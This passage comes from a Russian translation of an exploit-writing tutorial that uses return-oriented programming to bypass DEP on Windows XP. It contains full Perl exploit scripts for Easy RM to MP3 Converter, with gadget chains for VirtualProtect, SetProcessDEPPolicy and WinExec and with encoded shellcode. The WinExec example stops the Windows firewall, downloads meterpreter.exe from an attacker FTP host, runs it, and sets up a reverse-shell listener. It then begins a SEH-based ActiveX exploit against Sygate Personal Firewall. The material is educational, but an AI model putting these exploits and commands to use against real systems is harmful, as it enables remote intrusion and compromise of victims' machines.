Затем, мы должны увеличить значение в EAX снова (добавить 0x100). Мы можем снова использовать тот же гаджет, который использовался чтобы генерировать значение параметра1: 0x1002DC4C (ADD EAX, 100 # POP EBP # RET)

Наконец, мы должны увеличить значение в ESI - 4 байта, и убедиться, что он будет указывать на следующий параметр. Все, что мы должны, это ADD ESI,4 + RET, или в 4 раза INC ESI, RET

я буду использовать

0x77157D1D:  # INC ESI # RETN   [Module: OLEAUT32.dll]

(4 раза).

Так, обновленный скрипт sploit будет выглядеть так:

#------------------------------------------------------------
#ROP based exploit for Easy RM to MP3 Converter
#written by corelanc0d3r - http://www.corelan.be
#------------------------------------------------------------
my $file= "rop.m3u";
my $buffersize = 26094;
my $junk = "Z" x $buffersize;
my $eip=pack('V',0x100102DC); #return to stack
my $junk2 = "AAAA"; #compensate
#------Put stack pointer in EDI & EAX------------------------#
my $rop=pack('V',0x5AD79277);  #PUSH ESP, POP EDI
$rop = $rop.pack('V',0x77C1E842); #PUSH EDI, POP EAX
$rop=$rop."AAAA"; #compensate for POP EBP
#stack pointer is now in EAX & EDI, now jump over parameters
$rop=$rop.pack('V',0x1001653D);  #ADD ESP,20
#-------Parameters for VirtualProtect()----------------------#
my $params=pack('V',0x7C801AD4);          #VirtualProtect()    
$params = $params."WWWW";   #return address (param1)     
$params = $params."XXXX";   #lpAddress      (param2)
$params = $params."YYYY";   #Size           (param3)    
$params = $params."ZZZZ";   #flNewProtect   (param4)
$params = $params.pack('V',0x10035005);  #writeable address   
$params=$params.("H" x 8);  #padding
# ADD ESP,20 + RET will land here
# change ESI so it points to correct location 
# to write first parameter (return address)
my $rop2= pack('V',0x763C982F);  # XCHG ESI,EDI # DEC ECX # RETN 4 
#-----Make eax point at shellcode--------------------------
$rop2=$rop2.pack('V',0x1002DC4C);  #ADD EAX,100 # POP EBP
$rop2=$rop2."AAAA"; #padding - compensate for RETN4 before
$rop2=$rop2."AAAA"; #padding
#----------------------------------------------------------
#return address is in EAX - write parameter 1
$rop2=$rop2.pack('V',0x77E84115);
$rop2=$rop2."AAAA"; #padding  
#EAX now contains stack pointer
#save it back to ESI first
$rop2=$rop2.pack('V',0x775D131E);  # PUSH EAX # POP ESI # RETN 
#-----Make eax point at shellcode (again)--------------------------
$rop2=$rop2.pack('V',0x1002DC4C);  #ADD EAX,100 # POP EBP
$rop2=$rop2."AAAA"; #padding
#increase ESI with 4
$rop2=$rop2.pack('V',0x77157D1D);  # INC ESI # RETN   [Module: OLEAUT32.dll] 
$rop2=$rop2.pack('V',0x77157D1D);  # INC ESI # RETN   [Module: OLEAUT32.dll] 
$rop2=$rop2.pack('V',0x77157D1D);  # INC ESI # RETN   [Module: OLEAUT32.dll] 
$rop2=$rop2.pack('V',0x77157D1D);  # INC ESI # RETN   [Module: OLEAUT32.dll] 
#and write lpAddress (param 2)
$rop2=$rop2.pack('V',0x77E84115);
$rop2=$rop2."AAAA"; #padding  
#
my $nops = "x90" x 240;
#
# ./msfpayload windows/messagebox 
#  TITLE=CORELAN TEXT="rop test by corelanc0d3r" R 
# | ./msfencode -e x86/alpha_mixed -t perl
my $shellcode = 
"\x89\xe0\xda\xcf\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a" .
"\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x48\x59\x48\x6b\x4f\x6b\x48\x59\x43\x44\x51" .
"\x34\x4c\x34\x50\x31\x48\x52\x4f\x42\x42\x5a\x46\x51\x49" .
"\x59\x45\x34\x4e\x6b\x51\x61\x44\x70\x4e\x6b\x43\x46\x46" .
"\x6c\x4c\x4b\x42\x56\x45\x4c\x4c\x4b\x42\x66\x43\x38\x4c" .
"\x4b\x51\x6e\x45\x70\x4e\x6b\x50\x36\x44\x78\x42\x6f\x45" .
"\x48\x44\x35\x4c\x33\x50\x59\x43\x31\x4a\x71\x4b\x4f\x48" .
"\x61\x43\x50\x4c\x4b\x50\x6c\x51\x34\x46\x44\x4e\x6b\x47" .
"\x35\x45\x6c\x4c\x4b\x42\x74\x43\x35\x42\x58\x46\x61\x48" .
"\x6a\x4e\x6b\x51\x5a\x45\x48\x4e\x6b\x42\x7a\x47\x50\x47" .
"\x71\x48\x6b\x4a\x43\x45\x67\x42\x69\x4e\x6b\x47\x44\x4e" .
"\x6b\x46\x61\x48\x6e\x46\x51\x49\x6f\x45\x61\x49\x50\x49" .
"\x6c\x4e\x4c\x4d\x54\x49\x50\x50\x74\x45\x5a\x4b\x71\x48" .
"\x4f\x44\x4d\x47\x71\x4b\x77\x48\x69\x48\x71\x49\x6f\x49" .
"\x6f\x4b\x4f\x45\x6b\x43\x4c\x47\x54\x44\x68\x51\x65\x49" .
"\x4e\x4e\x6b\x50\x5a\x45\x74\x46\x61\x48\x6b\x50\x66\x4e" .
"\x6b\x46\x6c\x50\x4b\x4c\x4b\x51\x4a\x45\x4c\x45\x51\x4a" .
"\x4b\x4e\x6b\x43\x34\x4c\x4b\x43\x31\x4a\x48\x4d\x59\x42" .
"\x64\x51\x34\x47\x6c\x45\x31\x4f\x33\x4f\x42\x47\x78\x44" .
"\x69\x49\x44\x4f\x79\x4a\x45\x4e\x69\x4a\x62\x43\x58\x4e" .
"\x6e\x42\x6e\x44\x4e\x48\x6c\x43\x62\x4a\x48\x4d\x4c\x4b" .
"\x4f\x4b\x4f\x49\x6f\x4d\x59\x42\x65\x43\x34\x4f\x4b\x51" .
"\x6e\x48\x58\x48\x62\x43\x43\x4e\x67\x47\x6c\x45\x74\x43" .
"\x62\x49\x78\x4e\x6b\x4b\x4f\x4b\x4f\x49\x6f\x4f\x79\x50" .
"\x45\x45\x58\x42\x48\x50\x6c\x42\x4c\x51\x30\x4b\x4f\x51" .
"\x78\x50\x33\x44\x72\x44\x6e\x51\x74\x50\x68\x42\x55\x50" .
"\x73\x42\x45\x42\x52\x4f\x78\x43\x6c\x47\x54\x44\x4a\x4c" .
"\x49\x4d\x36\x50\x56\x4b\x4f\x43\x65\x47\x74\x4c\x49\x48" .
"\x42\x42\x70\x4f\x4b\x49\x38\x4c\x62\x50\x4d\x4d\x6c\x4e" .
"\x67\x45\x4c\x44\x64\x51\x42\x49\x78\x51\x4e\x49\x6f\x4b" .
"\x4f\x49\x6f\x42\x48\x42\x6c\x43\x71\x42\x6e\x50\x58\x50" .
"\x68\x47\x33\x42\x6f\x50\x52\x43\x75\x45\x61\x4b\x6b\x4e" .
"\x68\x51\x4c\x47\x54\x47\x77\x4d\x59\x4b\x53\x50\x68\x51" .
"\x48\x47\x50\x51\x30\x51\x30\x42\x48\x50\x30\x51\x74\x50" .
"\x33\x50\x72\x45\x38\x42\x4c\x45\x31\x50\x6e\x51\x73\x43" .
"\x58\x50\x63\x50\x6f\x43\x42\x50\x65\x42\x48\x47\x50\x43" .
"\x52\x43\x49\x51\x30\x51\x78\x43\x44\x42\x45\x51\x63\x50" .
"\x74\x45\x38\x44\x32\x50\x6f\x42\x50\x51\x30\x46\x51\x48" .
"\x49\x4c\x48\x42\x6c\x47\x54\x44\x58\x4d\x59\x4b\x51\x46" .
"\x51\x48\x52\x51\x42\x46\x33\x50\x51\x43\x62\x49\x6f\x4e" .
"\x30\x44\x71\x49\x50\x50\x50\x4b\x4f\x50\x55\x45\x58\x45" .
"\x5a\x41\x41";

my $rest = "C" x 300;
my $payload = $junk.$eip.$junk2.$rop.$params.$rop2.$nops.$shellcode.$rest;
print "Payload size: ".length($payload)."n";
print "Shellcode size: ".length($shellcode)."n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "m3u File $file Created successfullyn";
#2

Стадия 4 и 5: третий и четвертый параметр (размер и флаг защиты)

Для того чтобы создать третий параметр, я решил установить размер до 0x300 байт. Гаджеты, которые должны сделать это XOR EAX, EAX и ADD EAX,100

Техника для занаписи полученного значения в качестве параметра в точности такая же, как с другими параметрами

  • Сохранить EAX в ESI
  • Изменить EAX (XOR EAX, EAX: 0x100307A9, а затем добавить EAX, 100 + RET, 3 раза подряд: 0x1002DC4C)
  • Увеличить ESI на 4 байта
  • Записать EAX в ESI + 0x10

Четвертый параметр (0x40) снова использует тот же принцип:

  • Сохранить EAX в ESI
  • Установить EAX в нуль, а затем добавить 40 (XOR EAX, EAX + RET: 0x100307A9 / ADD EAX, 40 + RET: 0x1002DC41)
  • Увеличить ESI на 4 байта
  • Записать EAX в ESI + 0x10

Заключительный этап: переход к VirtualProtect

Все параметры будут записаны в стек:

Все, что мы должны сделать сейчас, это найти способ, чтобы ESP указывало на VirtualProtect() и как-то вернуться к ней.

В настоящее время состояние регистров:

Каковы мои варианты, чтобы сделать это? Как я могу поместить в ESP этот адрес - 0010F740, а затем вернуться (к указателю на VirtualProtect())?

Ответ: EAX уже указывает на этот адрес. Так что, если мы можем поставить EAX в ESP, а затем вернуться, она должна быть тонкой.

Поиск в rop.txt push eax / pop esp:

0x73DF5CA8 # PUSH EAX # POP ESP # MOV EAX,EDI # POP EDI # POP ESI # RETN   [Module: MFC42.DLL]

Этот будет работать, но есть 2 инструкции POP в гаджете. Таким образом, мы должны настроить EAX в первую очередь (для компенсации POP’s). В основном мы должны вычесть 8 из EAX, прежде чем регулировать стек.

Чтобы сделать это, мы можем использовать

0x775D12F1  #SUB EAX,4 # RE

Наша конечная цепочка будет выглядеть следующим образом:

  • 0x775D12F1
  • 0x775D12F1
  • 0x73DF5CA8

Положите все вместе в эксплоит скрипт:

#------------------------------------------------------------
#ROP based exploit for Easy RM to MP3 Converter
#written by corelanc0d3r - http://www.corelan.be
#------------------------------------------------------------
my $file= "rop.m3u";
my $buffersize = 26094;
my $junk = "Z" x $buffersize;
my $eip=pack('V',0x100102DC); #return to stack
my $junk2 = "AAAA"; #compensate
#------Put stack pointer in EDI & EAX------------------------#
my $rop=pack('V',0x5AD79277);  #PUSH ESP, POP EDI
$rop = $rop.pack('V',0x77C1E842); #PUSH EDI, POP EAX
$rop=$rop."AAAA"; #compensate for POP EBP
#stack pointer is now in EAX & EDI, now jump over parameters
$rop=$rop.pack('V',0x1001653D);  #ADD ESP,20
#-------Parameters for VirtualProtect()----------------------#
my $params=pack('V',0x7C801AD4);          #VirtualProtect()    
$params = $params."WWWW";   #return address (param1)     
$params = $params."XXXX";   #lpAddress      (param2)
$params = $params."YYYY";   #Size           (param3)    
$params = $params."ZZZZ";   #flNewProtect   (param4)
$params = $params.pack('V',0x10035005);  #writeable address   
$params=$params.("H" x 8);  #padding
# ADD ESP,20 + RET will land here
# change ESI so it points to correct location 
# to write first parameter (return address)
my $rop2= pack('V',0x763C982F);  # XCHG ESI,EDI # DEC ECX # RETN 4 
#-----Make eax point at shellcode--------------------------
$rop2=$rop2.pack('V',0x1002DC4C);  #ADD EAX,100 # POP EBP
$rop2=$rop2."AAAA"; #padding - compensate for RETN4 before
$rop2=$rop2."AAAA"; #padding
#----------------------------------------------------------
#return address is in EAX - write parameter 1
$rop2=$rop2.pack('V',0x77E84115);
$rop2=$rop2."AAAA"; #padding  
#EAX now contains stack pointer
#save it back to ESI first
$rop2=$rop2.pack('V',0x775D131E);  # PUSH EAX # POP ESI # RETN 
#-----Make eax point at shellcode (again)--------------------------
$rop2=$rop2.pack('V',0x1002DC4C);  #ADD EAX,100 # POP EBP
$rop2=$rop2."AAAA"; #padding
#increase ESI with 4
$rop2=$rop2.pack('V',0x77157D1D);  # INC ESI # RETN   [Module: OLEAUT32.dll] 
$rop2=$rop2.pack('V',0x77157D1D);  # INC ESI # RETN   [Module: OLEAUT32.dll] 
$rop2=$rop2.pack('V',0x77157D1D);  # INC ESI # RETN   [Module: OLEAUT32.dll] 
$rop2=$rop2.pack('V',0x77157D1D);  # INC ESI # RETN   [Module: OLEAUT32.dll] 
#and write lpAddress (param 2)
$rop2=$rop2.pack('V',0x77E84115);
$rop2=$rop2."AAAA"; #padding  

#save EAX in ESI again
$rop2=$rop2.pack('V',0x775D131E);  # PUSH EAX # POP ESI # RETN 
#create size - set EAX to 300 or so
$rop2=$rop2.pack('V',0x100307A9);  # XOR EAX,EAX # RETN
$rop2=$rop2.pack('V',0x1002DC4C);  #ADD EAX,100 # POP EBP
$rop2=$rop2."AAAA"; #padding
$rop2=$rop2.pack('V',0x1002DC4C);  #ADD EAX,100 # POP EBP
$rop2=$rop2."AAAA"; #padding
$rop2=$rop2.pack('V',0x1002DC4C);  #ADD EAX,100 # POP EBP
$rop2=$rop2."AAAA"; #padding
#write size, first set ESI to right place
$rop2=$rop2.pack('V',0x77157D1D);  # INC ESI # RETN   [Module: OLEAUT32.dll] 
$rop2=$rop2.pack('V',0x77157D1D);  # INC ESI # RETN   [Module: OLEAUT32.dll] 
$rop2=$rop2.pack('V',0x77157D1D);  # INC ESI # RETN   [Module: OLEAUT32.dll] 
$rop2=$rop2.pack('V',0x77157D1D);  # INC ESI # RETN   [Module: OLEAUT32.dll] 
#write (param 3)
$rop2=$rop2.pack('V',0x77E84115);
$rop2=$rop2."AAAA"; #padding  
#save EAX in ESI again
$rop2=$rop2.pack('V',0x775D131E);  # PUSH EAX # POP ESI # RETN 
#flNewProtect 0x40
$rop2=$rop2.pack('V',0x10010C77);   #XOR EAX,EAX
$rop2=$rop2.pack('V',0x1002DC41);   #ADD EAX,40 # POP EBP
$rop2=$rop2."AAAA"; #padding
$rop2=$rop2.pack('V',0x77157D1D);  # INC ESI # RETN   [Module: OLEAUT32.dll] 
$rop2=$rop2.pack('V',0x77157D1D);  # INC ESI # RETN   [Module: OLEAUT32.dll] 
$rop2=$rop2.pack('V',0x77157D1D);  # INC ESI # RETN   [Module: OLEAUT32.dll] 
$rop2=$rop2.pack('V',0x77157D1D);  # INC ESI # RETN   [Module: OLEAUT32.dll] 

#write (param4)
$rop2=$rop2.pack('V',0x77E84115);
$rop2=$rop2."AAAA"; #padding  
#Return to VirtualProtect()
#EAX points at VirtualProtect pointer (just before parameters)
#compensate for the 2 POP instructions
$rop2=$rop2.pack('V',0x775D12F1);  #SUB EAX,4 # RET
$rop2=$rop2.pack('V',0x775D12F1);  #SUB EAX,4 # RET
#change ESP & fly back
$rop2=$rop2.pack('V',0x73DF5CA8);  #[Module: MFC42.DLL] 
# PUSH EAX # POP ESP # MOV EAX,EDI # POP EDI # POP ESI # RETN   

#
my $nops = "x90" x 240;
#
# ./msfpayload windows/messagebox 
#  TITLE=CORELAN TEXT="rop test by corelanc0d3r" R 
# | ./msfencode -e x86/alpha_mixed -t perl
my $shellcode = 
"\x89\xe0\xda\xcf\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a" .
"\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x48\x59\x48\x6b\x4f\x6b\x48\x59\x43\x44\x51" .
"\x34\x4c\x34\x50\x31\x48\x52\x4f\x42\x42\x5a\x46\x51\x49" .
"\x59\x45\x34\x4e\x6b\x51\x61\x44\x70\x4e\x6b\x43\x46\x46" .
"\x6c\x4c\x4b\x42\x56\x45\x4c\x4c\x4b\x42\x66\x43\x38\x4c" .
"\x4b\x51\x6e\x45\x70\x4e\x6b\x50\x36\x44\x78\x42\x6f\x45" .
"\x48\x44\x35\x4c\x33\x50\x59\x43\x31\x4a\x71\x4b\x4f\x48" .
"\x61\x43\x50\x4c\x4b\x50\x6c\x51\x34\x46\x44\x4e\x6b\x47" .
"\x35\x45\x6c\x4c\x4b\x42\x74\x43\x35\x42\x58\x46\x61\x48" .
"\x6a\x4e\x6b\x51\x5a\x45\x48\x4e\x6b\x42\x7a\x47\x50\x47" .
"\x71\x48\x6b\x4a\x43\x45\x67\x42\x69\x4e\x6b\x47\x44\x4e" .
"\x6b\x46\x61\x48\x6e\x46\x51\x49\x6f\x45\x61\x49\x50\x49" .
"\x6c\x4e\x4c\x4d\x54\x49\x50\x50\x74\x45\x5a\x4b\x71\x48" .
"\x4f\x44\x4d\x47\x71\x4b\x77\x48\x69\x48\x71\x49\x6f\x49" .
"\x6f\x4b\x4f\x45\x6b\x43\x4c\x47\x54\x44\x68\x51\x65\x49" .
"\x4e\x4e\x6b\x50\x5a\x45\x74\x46\x61\x48\x6b\x50\x66\x4e" .
"\x6b\x46\x6c\x50\x4b\x4c\x4b\x51\x4a\x45\x4c\x45\x51\x4a" .
"\x4b\x4e\x6b\x43\x34\x4c\x4b\x43\x31\x4a\x48\x4d\x59\x42" .
"\x64\x51\x34\x47\x6c\x45\x31\x4f\x33\x4f\x42\x47\x78\x44" .
"\x69\x49\x44\x4f\x79\x4a\x45\x4e\x69\x4a\x62\x43\x58\x4e" .
"\x6e\x42\x6e\x44\x4e\x48\x6c\x43\x62\x4a\x48\x4d\x4c\x4b" .
"\x4f\x4b\x4f\x49\x6f\x4d\x59\x42\x65\x43\x34\x4f\x4b\x51" .
"\x6e\x48\x58\x48\x62\x43\x43\x4e\x67\x47\x6c\x45\x74\x43" .
"\x62\x49\x78\x4e\x6b\x4b\x4f\x4b\x4f\x49\x6f\x4f\x79\x50" .
"\x45\x45\x58\x42\x48\x50\x6c\x42\x4c\x51\x30\x4b\x4f\x51" .
"\x78\x50\x33\x44\x72\x44\x6e\x51\x74\x50\x68\x42\x55\x50" .
"\x73\x42\x45\x42\x52\x4f\x78\x43\x6c\x47\x54\x44\x4a\x4c" .
"\x49\x4d\x36\x50\x56\x4b\x4f\x43\x65\x47\x74\x4c\x49\x48" .
"\x42\x42\x70\x4f\x4b\x49\x38\x4c\x62\x50\x4d\x4d\x6c\x4e" .
"\x67\x45\x4c\x44\x64\x51\x42\x49\x78\x51\x4e\x49\x6f\x4b" .
"\x4f\x49\x6f\x42\x48\x42\x6c\x43\x71\x42\x6e\x50\x58\x50" .
"\x68\x47\x33\x42\x6f\x50\x52\x43\x75\x45\x61\x4b\x6b\x4e" .
"\x68\x51\x4c\x47\x54\x47\x77\x4d\x59\x4b\x53\x50\x68\x51" .
"\x48\x47\x50\x51\x30\x51\x30\x42\x48\x50\x30\x51\x74\x50" .
"\x33\x50\x72\x45\x38\x42\x4c\x45\x31\x50\x6e\x51\x73\x43" .
"\x58\x50\x63\x50\x6f\x43\x42\x50\x65\x42\x48\x47\x50\x43" .
"\x52\x43\x49\x51\x30\x51\x78\x43\x44\x42\x45\x51\x63\x50" .
"\x74\x45\x38\x44\x32\x50\x6f\x42\x50\x51\x30\x46\x51\x48" .
"\x49\x4c\x48\x42\x6c\x47\x54\x44\x58\x4d\x59\x4b\x51\x46" .
"\x51\x48\x52\x51\x42\x46\x33\x50\x51\x43\x62\x49\x6f\x4e" .
"\x30\x44\x71\x49\x50\x50\x50\x4b\x4f\x50\x55\x45\x58\x45" .
"\x5a\x41\x41";

my $rest = "C" x 300;
my $payload = $junk.$eip.$junk2.$rop.$params.$rop2.$nops.$shellcode.$rest;
print "Payload size: ".length($payload)."n";
print "Shellcode size: ".length($shellcode)."n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "m3u File $file Created successfullyn";

Результат:

Прямой RET - ROP Версия 2 - NtSetInformationProcess()

Давайте использовать то же самое приложение / уязвимость, и испытать другую технику ROP: NtSetInformationProcess()

Эта функция принимает 5 параметров:

  • Return address Значение, которые будут созданы, показывает куда функция должна вернуться (= место, где ваш шеллкод
  • NtCurrentProcess() Статическое значение, чтобы установить 0xFFFFFFFF
  • ProcessExecuteFlags Статическое значение, установить в 0x22
  • &ExecuteFlags Указатель на 0x00000002, может быть статический адрес жестко задан в вашем sploit-е, но быть доступным для записи
  • sizeOf (ExecuteFlags) Статическое значение, установить в 0x4

Exploit ROP, скорее всего выглядеть почти так же, как с VirtualProtect():

  • Сохранить положение стека

  • Перепрыгнуть через заполнители

  • Сгенерировать значения для return address ( адрес возврата )

  • Сгенерировать значение для второго параметра (0x22) и использовать “ESI + 0x10”, чтобы записать его в стек

    • Обнулить EAX: XOR EAX,EAX + RET: 0x100307A9
    • ADD EAX,40 + RET: 0x1002DC41 + цепь указателей, чтобы добавить - ADD EAX,-2, пока он содержит 0x22 (0x10027D2E)
    • Кроме того, использовать ADD AL,10 (0x100308FD) дважды, а затем INC EAX дважды (0x1001152C)
  • При необходимости, сгенерировать значение для третьего параметра (указатель на 0x2, адрес для записи ). Совет: попробуйте запустить ( !mona find -s RW ) в Immunity Debugger и посмотреть, сможете найти статический / записываемый адрес.

  • Сгенерировать значение для четвертого параметра (0x4) и использовать “ESI + 0x10”, чтобы записать его в стек

    • INC EAX 4 раза: 0x1001152C

Просто, чтобы доказать, что он работает:

Прямой RET - ROP Версия 3 - SetProcessDEPPolicy()

Другой способ обойти DEP это использовать вызов SetProcessDEPPolicy(), в основном выключения DEP для процесса.

Эта функция нуждается в 2-х параметрах в стеке: указатель на шеллкод (динамически генерируемый) и ноль.

У нас есть только ограниченное количество параметров, я постараюсь использовать другую технику, чтобы положить параметры в стек … PUSHAD

Инструкция pushad поместит регистры в стек и тогда вершина стека будет выглядеть:

  • EDI
  • ESI
  • EBP
  • значение, указываюшее на стек сразу после этого блока
  • EBX
  • EDX
  • ECX
  • EAX

Если мы позиционируем наши NOPS / шелл-код сразу после этого блока, то, возможно, мы можем воспользоваться тем, что мы будем иметь значение в стеке, который указывает на наш шеллкод.“авто-магически”

Далее, значение из вершины стека (значение, которым можно манипулировать с помощью EDI) положить в EIP. Это дает нам идеальный путь, чтобы сделать эту работу.

Для того, чтобы поставить правильные параметры в нужном месте, мы должны выработать регистры со следующими значениями:

  • EDI = указатель на RET (слайд до следующей инструкции: ROP NOP)
  • ESI = Указатель на RET (слайд до следующей инструкции: ROP NOP)
  • EBP = указатель на SetProcessDEPPolicy()
  • EBX = указатель на нуль
  • EDX, ECX и EAX на самом деле не важно,

После pushad, стек будет выглядеть следующим образом:

  • RET (из EDI)
  • RET (из ESI)
  • SetProcessDEPPolicy() (взято из научного обоснования)
  • Указатель на шеллкоде
  • Zero (из EBX)
  • EDX (junk)
  • ECX (junk)
  • EAX (junk)
  • nops
  • shellcode

ROP цепь чтобы сделать это может выглядеть примерно так:

my $eip=pack('V',0x100102DC); #return to stack
my $junk2 = "AAAA"; #compensate
#put zero in EBX
my $rop=pack('V',0x100109EC);  #POP EBX
$rop=$rop.pack('V',0xFFFFFFFF);  #<- will be put in EBX
$rop=$rop.pack('V',0x1001C1A5); #INC EBX, EBX = 0 now
$rop=$rop.pack('V',0x10014F75); #POP EBP
$rop=$rop.pack('V',0x7C8622A4);  #<- SetProcessDEPPolicy, into EBP
#put RET in EDI (needed as NOP)
$rop=$rop.pack('V',0x1001C07F); #POP EDI (pointer to RET)
$rop=$rop.pack('V',0x1001C080); #RET
#put RET in ESI as well (NOP again)
$rop=$rop.pack('V',0x10010C31); #POP ESI
$rop=$rop.pack('V',0x1001C080); #RET
$rop=$rop.pack('V',0x100184FA);  #PUSHAD
#ESP will now automagically point at nops

(Просто добавьте NOPS + шелл-код к этой ROP цепи и все готово)

Result:

Direct RET – ROP Version 4 – ret-to-libc: WinExec()

Пока я объяснял несколько способов, чтобы обойти DEP, используя определенные функции Windows. В любом случае, реальная задача является найти надежные ROP гаджеты, которые обработают ваш стек и вызывать функцию.

Я думаю важно отметить, что “классический” ret-to-libc - стиль (с использованием WinExec() например) все еще может быть ценной текникой.

При формировании стека для успешного вызова WinExec() потребуется некоторый ROP, он по-прежнему отличается от других методов обхода DEP, потому что мы не собираемся выполнять пользовательский шелл-код. Таким образом, нам не нужно менять флаги исполнения или отключить DEP. Мы просто собираемся вызвать функцию окна и использовать указатель на серию команд ОС в качестве параметра.

http://msdn.microsoft.com/en-us/library/ms687393(VS.85).aspx

UINT WINAPI WinExec(
  __in  LPCSTR lpCmdLine,
  __in  UINT uCmdShow
);

Первый аргумент является указателем на команду для выполнения, а второй параметр указывает на поведение окна ( скрытая или нормальная и так далее ). Некоторые примеры:

  • 0 = Скрыть окно
  • 1 = Показывать нормально
  • 10 = Показать по умолчанию
  • 11 = Минимизировать

Для того, чтобы сделать эту одну работу, вам нужно будет добавить адрес возврата в параметры (первый параметр, чтобы быть точным). Это может быть просто любой адрес,там должно быть что-то - в этой области. Таким образом стек должен выглядеть

  • Return Adress (адрес возврата - return address)
  • указатель на команду
  • 0x00000000 (HIDE)

На XP SP3, WinExec находится - 0x7C86250D

Взгляните на этот пример:

#ROP based exploit for Easy RM to MP3 Converter
#Uses WinExec()
#written by corelanc0d3r - http://www.corelan.be
my $file= "rop.m3u";
my $buffersize = 26094;
my $junk = "A" x $buffersize;
my $eip=pack('V',0x100102DC); #return to stack
my $junk2 = "AAAA"; #compensate
#-----------------------------------------------#
#WinExec 7C86250D
#-----------------------------------------------#
my $evilIP="192.168.0.189";
my $rop=pack('V',0x100109EC); #POP EBX
$rop=$rop.pack('V',0xFFFFFFFF);  #<- will be put in EBX
$rop=$rop.pack('V',0x1001C1A5); #INC EBX, EBX = 0 = HIDE
$rop=$rop.pack('V',0x10014F75);  #POP EBP
$rop=$rop.pack('V',0xFFFFFFFF); #return address for WinExec
$rop=$rop.pack('V',0x10010C31); #POP ESI
$rop=$rop.pack('V',0x7C86250D); #WinExec()
$rop=$rop.pack('V',0x1001C07F); #POP EDI
$rop=$rop.pack('V',0x1001C080); #RET, put in EDI (NOP)
$rop=$rop.pack('V',0x1002CC86); #pushad + ret

my $cmd='cmd /c "net stop SharedAccess && ';
$cmd=$cmd."echo user anonymous > ftp.txt && ";
$cmd=$cmd."echo anonymous@bla.com >> ftp.txt && ";
$cmd=$cmd."echo bin >> ftp.txt && ";
$cmd=$cmd."echo get meterpreter.exe >> ftp.txt ";
$cmd=$cmd."&& echo quit >> ftp.txt && ";
$cmd=$cmd."ftp -n -s:ftp.txt ".$evilIP." && ";
$cmd=$cmd.'meterpreter.exe"'."n";  
#it's ok to put a null byte, EIP is already overwritten

my $payload = $junk.$eip.$junk2.$rop.$cmd;

print "Payload size: ".length($payload)."n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "m3u File $file Created successfullyn";

Во-первых, 0x00000000 находится в EBX (POP 0xFFFFFFFF в EBX, и затем вызывается INC EBX ), все , регистры настроены чтобы выпонить PUSHAD (в основном я поставил обратный адрес в EBP, WinExec() указатель в ESI, и RET (NOP) в EDI).

Команда выше, будет работать, только если служба брандмауэра на компьютере XP выключена. Если на компьютере не работает брандмауэр Windows, вам возможно, придется удалить “net stop SharedAccess”.

$evilIP Ваша атакующая машина, работает как FTP-сервер, который содержит meterpreter.exe, создана с помощью следующей команды Metasploit:

./msfpayload windows/meterpreter/reverse_tcp RHOST=192.168.0.189 RPORT=4444 
    LHOST=192.168.0.189 LPORT=4444 X > meterpreter.exe

(поместите все на одну линию и скопируйте файл в корень FTP-сервера)

На атакующей машине, создать Metasploit multihandler слушателя:

./msfcli multi/handler payload=windows/meterpreter/reverse_tcp 
      lhost=192.168.0.189 lport=4444 E

Результат:

Как вы можете видеть, даже простой указатель на WinExec позволит вам обойти DEP (работает для всех случаев!), И вы получите meterpreter оболочку.

SEH Based – The ROP version – WriteProcessMemory()

Для того, чтобы продемонстрировать эксплоиты основанные на SEH, с помошью ROP, я буду использовать в недавно опубликованную уязвимость, обнаруженную Линкольном, ориентированную на переполнение буфера ActiveX в Sygate Personal Firewall 5.6. Как мы увидим, функция SetRegString() в sshelper.dll подвержена переполнению буфера, который перезаписывает обработчик исключений.

Вы можете получить копию эксплоита здесь: http://www.exploit-db.com/exploits/13834

Эта функция принимает 5 аргументов. 3-й аргумент для переполнение буфера:

[HTML]

[/HTML]

На IE6 и IE7, запись SEH переписывается после 3348 байт. (так, что 3348 байт nseh и 3352 байт SEH)

В типичной (без ROP) эксплуатации, мы перезаписали бы nseh коротким прыжком (xebx06x90x90) и SEH с указателем на pop/pop/ret. Как указывалось выше, этот подход не будет работать, когда DEP включена, потому что мы не можем выполнить код до фактического отключения / обход DEP в первую очередь.

Тем не менее, существует простой способ решить эту проблему. Нам просто нужна вернуться в стек, когда обработчик исключений (тот, который мы перезапишем) стартует.

Нам не надо заботятся о nseh (4 байта), мы создадим небольшой скрипт, который будет переписывать SE обработчик после 3352 байт.

Что нас интересует, это видеть, насколько далеко наш буфер (в стеке) находится , когда SE обработчик вызывается. Так что мы будем переписывать SE обработчик действительным указателем на команду. Просто посмотреть, как далеко наш буфер, когда мы прыгнем на эту инструкцию.

Запуск ошибки

Мы поместим указатель на RET в SE обработчик (один из sshelper.dll с: - 0x0644110C), а затем добавить больше 25000 байт (чтобы вызвать нарушение прав доступа). Наш exploit script пока будет выглядеть примерно так:

[HTML]

[/HTML]

Сохраните HTML файл на диск С: и откройте его в Internet Explorer. Прикрепите Immunity Debugger к iexplore.exe. Разрешить объект ActiveX для запуска (вам, возможно, придется дважды нажать кнопку ОК), и пусть Immunity Debugger поймает исключение.

Посмотрите в SEH chain, и вы должны увидеть что мы переписали SE обработчик нашим указателем на RET:

Если вы получаете вид SEH цепи, как на скриншоте выше (2 SEH записи), нажмите Shift F9 только один раз.

Прокрутите стек вниз, пока вы не увидеть ваш перезаписанный SE обработчик:

Установить точку останова на 0x0644110C и передать исключение приложению (Нажмите Shift F9). Регистры содержат теперь это:

и верхняя часть стека выглядит следующим образом:

Прокрутите вниз, пока не увидите первую часть вашего буфера (A):

Stack pivoting

